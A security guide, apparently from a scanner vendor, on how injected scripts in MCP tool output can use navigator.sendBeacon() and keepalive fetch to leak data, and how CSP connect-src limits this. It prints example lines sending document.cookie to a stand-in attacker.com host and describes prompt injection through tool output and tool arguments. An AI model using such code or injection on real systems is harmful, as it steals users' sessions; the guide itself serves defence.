Security Guide
MCP server Beacon API security — navigator.sendBeacon(), uninterruptible exfiltration, CORS simple-request bypass, keepalive fetch, and CSP connect-src
navigator.sendBeacon() was designed for analytics ping-back on page unload — a way to fire a small HTTP POST without blocking navigation. For MCP servers, it is an exfiltration primitive: a script injected into tool output that calls sendBeacon() transmits data to the attacker's server asynchronously, cannot be intercepted by AbortController, is not cancelled when the page navigates away, and survives tab closure. Unlike fetch() or XMLHttpRequest, there is no response to inspect, no error callback to catch, and the send is queued immediately without waiting for any user interaction. CSP connect-src is the only runtime enforcement lever.
What sendBeacon() does that fetch() does not
navigator.sendBeacon(url, data) queues a small HTTP POST to the given URL and returns a boolean indicating whether the browser accepted the queue entry. The browser delivers the request asynchronously — even after the page's JavaScript context is destroyed by navigation or tab close. This "fire and forget after page death" behavior is the intentional design for analytics beacons, but it creates a fundamentally different threat model from ordinary HTTP requests in MCP tool output:
| Property | fetch() | navigator.sendBeacon() |
|---|---|---|
| Cancellable | Yes — AbortController.abort() | No — no cancellation mechanism |
| Survives navigation | No — request aborted on navigation (unless keepalive: true) | Yes — request survives page unload |
| Survives tab close | No — unless keepalive: true, and subject to 64KB limit | Yes — browser delivers queued beacons |
| Response accessible | Yes — full response body and headers | No — response is discarded, script cannot read it |
| CORS preflight | For non-simple requests | Only if Content-Type is not simple (not text/plain, form-urlencoded, multipart) |
| Max payload size | Unlimited | ~64 KB browser-enforced limit |
MCP attack scenario: An MCP tool returns a web page's content. That content includes a script that calls navigator.sendBeacon('https://attacker.com/collect', JSON.stringify(document.cookie)). Even if the MCP client immediately navigates away from the page rendering the tool output, the beacon is already queued in the browser and will be delivered. The attack completes after the victim has already moved on.
CORS and the simple-request exemption
Beacon requests with a text/plain body (the default when passing a string), application/x-www-form-urlencoded, or multipart/form-data are CORS simple requests — they require no CORS preflight. The browser sends the POST directly without first asking the server whether the cross-origin request is allowed. This means that even if the attacker's server does not send Access-Control-Allow-Origin, the browser still fires the request; the server receives the data. The CORS check only governs whether the response is readable by the requesting script — and sendBeacon() discards the response anyway.
// CORS simple request — no preflight, no response readable — but POST arrives at attacker server
navigator.sendBeacon('https://attacker.com/exfil', document.cookie);
// To trigger preflight (application/json Content-Type), use fetch() — sendBeacon() ignores Content-Type for simple requests
// and will always send text/plain if data is a string
keepalive fetch() — the same primitive with more control
The fetch(url, { keepalive: true }) option is the modern equivalent of sendBeacon() for scripts that need full response access or request configuration. Like sendBeacon(), keepalive fetch requests survive page unload and tab close — they are queued at the browser level and delivered even after the JavaScript context is destroyed. The 64 KB payload limit applies equally, shared across all in-flight keepalive requests from the same browsing context. The CORS rules apply normally to keepalive fetch (non-simple requests trigger preflight), which makes it slightly harder to use for exfiltration without a cooperating server than sendBeacon() with a plain string payload.
// Keepalive fetch — survives navigation, but can trigger CORS preflight
fetch('https://attacker.com/exfil', {
method: 'POST',
keepalive: true,
body: document.cookie, // text/plain — no preflight
// If body were JSON, preflight would fire first
});
CSP connect-src — the enforcement lever
Both navigator.sendBeacon() and fetch() are governed by the CSP connect-src directive. If the MCP client sets a Content Security Policy with a restrictive connect-src, the browser will block beacon calls to URLs not covered by the directive — even though the request would otherwise succeed silently.
# Restrictive connect-src — only allow connections back to same origin and known APIs Content-Security-Policy: default-src 'self'; connect-src 'self' https://api.skillaudit.dev;
With this policy, any attempt to call navigator.sendBeacon('https://attacker.com/...', data) from injected tool output will be blocked by the browser's CSP engine and a violation will be logged (or reported to the Reporting API endpoint if configured). The request never leaves the browser.
connect-src is only effective if the MCP client's CSP is actually restrictive. A policy that uses connect-src * or default-src * provides no protection against sendBeacon() exfiltration. The CSP must explicitly list allowed connection targets. SkillAudit flags any connect-src * or missing connect-src directive as a HIGH severity finding because it removes the only runtime enforcement control over sendBeacon() and keepalive fetch.
Detection in static analysis
SkillAudit's static scanner looks for patterns indicating sendBeacon() call sites that may be reachable from tool output data:
navigator.sendBeacon(with a URL that incorporates a variable derived from tool output datafetch(..., { keepalive: true })calls with similar data flow- CSP audit:
connect-srcabsent, set to*, or containinghttp:/https:wildcards - DOMPurify configuration audit: whether scripts are allowed in sanitized output (scripts should never be allowed in tool output rendering contexts)
SkillAudit findings for Beacon API
navigator.sendBeacon() or fetch(..., {keepalive: true}) without URL allowlisting. Injected scripts can exfiltrate session context to attacker-controlled endpoints that survive page navigation and tab close. Score −22.connect-src directive is absent or set to *. No runtime enforcement exists to block sendBeacon() or keepalive fetch to arbitrary external URLs. Score −18.connect-src includes https: without a domain restriction — allows connections to any HTTPS origin including attacker-controlled servers. Effectively equivalent to wildcard for sendBeacon() attack purposes. Score −16.navigator.sendBeacon() is called in tool output rendering code with a configurable endpoint URL — URL is not validated against an allowlist before the call, allowing arbitrary endpoint substitution via prompt injection into tool arguments. Score −12.connect-src is present and restrictive, but does not include the report-uri or Reporting-Endpoints collector URL — CSP violation reports fail silently rather than reaching the monitoring pipeline. Score −4.Run a SkillAudit scan on your MCP server to audit Beacon API exposure. The scanner checks whether tool output rendering allows script execution, audits CSP connect-src restrictiveness, and flags data flows from tool output into uncontrolled network request sinks.